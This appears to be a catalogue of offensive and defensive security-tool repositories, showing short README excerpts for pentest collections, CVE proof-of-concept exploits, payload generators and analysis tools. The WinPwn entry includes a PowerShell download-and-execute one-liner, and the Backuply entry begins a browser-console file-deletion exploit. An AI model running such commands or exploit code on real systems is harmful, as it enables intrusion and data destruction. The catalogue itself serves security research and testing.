Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

CVE-2026-34197-PoC

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE Prueba de concepto y notas técnicas para CVE-2026-34197 , una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic accesible a través del puente JMX-HTTP de Jolokia. Afectados: ActiveMQ Classic ⚠️ Solo para pruebas...

cmcp

cMCP: Confidential MCP Runtime Community updates and contributor highlights: AgenTrust on LinkedIn. Enforce MCP tool policy inside a TEE, where the agent it governs cannot reach it Quick Start · Architecture · Configuration · CLI · Changelog Developer Preview - launched at the Confidential...

LetsDefend-CVE-2022-41082-Exploitation-Attempt

LetsDefend-CVE-2022-41082-Exploitation-Attempt 🛡️ Incident Report: CVE-2022-41082 Exploitation Attempt 📅 Date: Sep 30, 2022 🕒 Time: 07:19 AM 🚨 Severity: High 🆔 Incident ID: 125 📊 Details Key Attribute| Value ---|--- Event ID| 125 Event Time| Sep 30, 2022, 07:19 AM Rule| SOC175 - PowerShell Found i...

CVE-2025-10307

Exploit: Eliminación Arbitraria de Archivos mediante Backuply path traversal en tarfile PoC de Consola del Navegador admin autenticado async = const page = $location.origin/wordpress/wp-admin/admin.php?page=backuply; // 1 Extract a valid nonce from the Backuply page const html = await fetchpage,...

APKiD

APKiD APKiD gives you information about how an APK was made. It identifies many compilers, packers, obfuscators, and other weird stuff. It's PEiD for Android. For more information on what this tool can be used for, check out: Android Compiler Fingerprinting Detecting Pirated and Malicious Android...

CVE-2024-34313

CVE-2024-34313 Descripción VPL Jail System hasta v4.0.2 se descubrió que contiene una vulnerabilidad de Path Traversal que permite la sobrescritura arbitraria de archivos y, por lo tanto, la escalada de privilegios al usuario root. Esta vulnerabilidad puede encadenarse con CVE-2024-34312 para tom...

printix-CVE-2022-25089

CVE-2022-25089 A system admin's complete nightmare, users changing the registry from anywhere and everywhere without authentication. Explore the docs » View Demo . Report Bug . Request Feature Table Of Contents About the Project Built With Getting Started Prerequisites Installation Usage Roadmap...

firmware-analysis-toolkit

FAT — Firmware Analysis Toolkit Descargar la última versión · Registro de cambios · Instalación Firmware Analysis Toolkit es un conjunto de herramientas de investigación de seguridad para investigar la seguridad del firmware de IoT, IA física, dispositivos móviles y robótica. Está diseñado...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

CVE-2025-14847

CVE-2025-14847 CVE-2025-14847 vulnerability environment with a PoC https://jira.mongodb.org/browse/SERVER-115508 SUMMARY This is a critical fix to address CVE-2025-14847. Upgrade to 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30. ISSUE DESCRIPTION AND IMPACT An client-side exploit of the Server...

CVE-2024-46507

El script fue probado y construido en Ubuntu Server 20.04 LTS, mientras que Kali Linux se utilizó para la explotación y el recorrido. Este recorrido te guía a través de la explotación del servidor vulnerable que contiene las vulnerabilidades CVE-2024-46507 inyección de comandos y CVE-2024-46508...

Pachine

Pachine Implementación en Python para CVE-2021-42278 Escalada de privilegios en Active Directory. Instalación $ pip3 install impacket Uso Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE -domain-netbios NETBIOSNAME -computer-nam...

TInjA

TInjA – el Analizador de Inyección de Plantillas TInjA es una herramienta CLI para probar páginas web en busca de vulnerabilidades de inyección de plantillas. Soporta 44 de los motores de plantillas más relevantes a partir de septiembre de 2023 para ocho lenguajes de programación diferentes. TInj...

pentest-tools

pentest-tools A collection of custom security tools for quick needs. Important note ‼ A big clean occured in 2022-11 ‼ Some useless/not working scripts have been archived and some others have been moved to their own repository to get more visibility, feel free to check them: apk-analyzer...

feroxbuster

!WARNING Security Notice – Domain Impersonation The domain feroxbuster.com is NOT affiliated with this project, its maintainers, or any official feroxbuster releases. Official feroxbuster downloads are distributed ONLY through: https://github.com/epi052/feroxbuster open source...

pylibemu

Pylibemu |version badge| |downloads badge| .. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ Pylibemu is a...

CheeseTools

CheeseTools Este repositorio se ha creado basándose en el ya existente MiscTool1, así que un gran agradecimiento a rasta-mouse por publicarlos y darme la motivación adecuada para trabajar en ellos. CheeseExec Ejecución de comandos / Movimiento lateral mediante funcionalidad similar a PsExec. Debe...

Macrome

Macrome An Excel Macro Document Reader/Writer for Red Teamers & Analysts. Blog posts describing what this tool actually does can be found here and here. Installation / Building Clone or download this repository, the tool can then be executed using dotnet - for example: dotnet run -- build...

msfpc

MSFvenom Payload Creator MSFPC A quick way to generate various "basic" Meterpreter payloads via msfvenom part of the Metasploit framework. About MSFvenom Payload Creator MSFPC is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible only...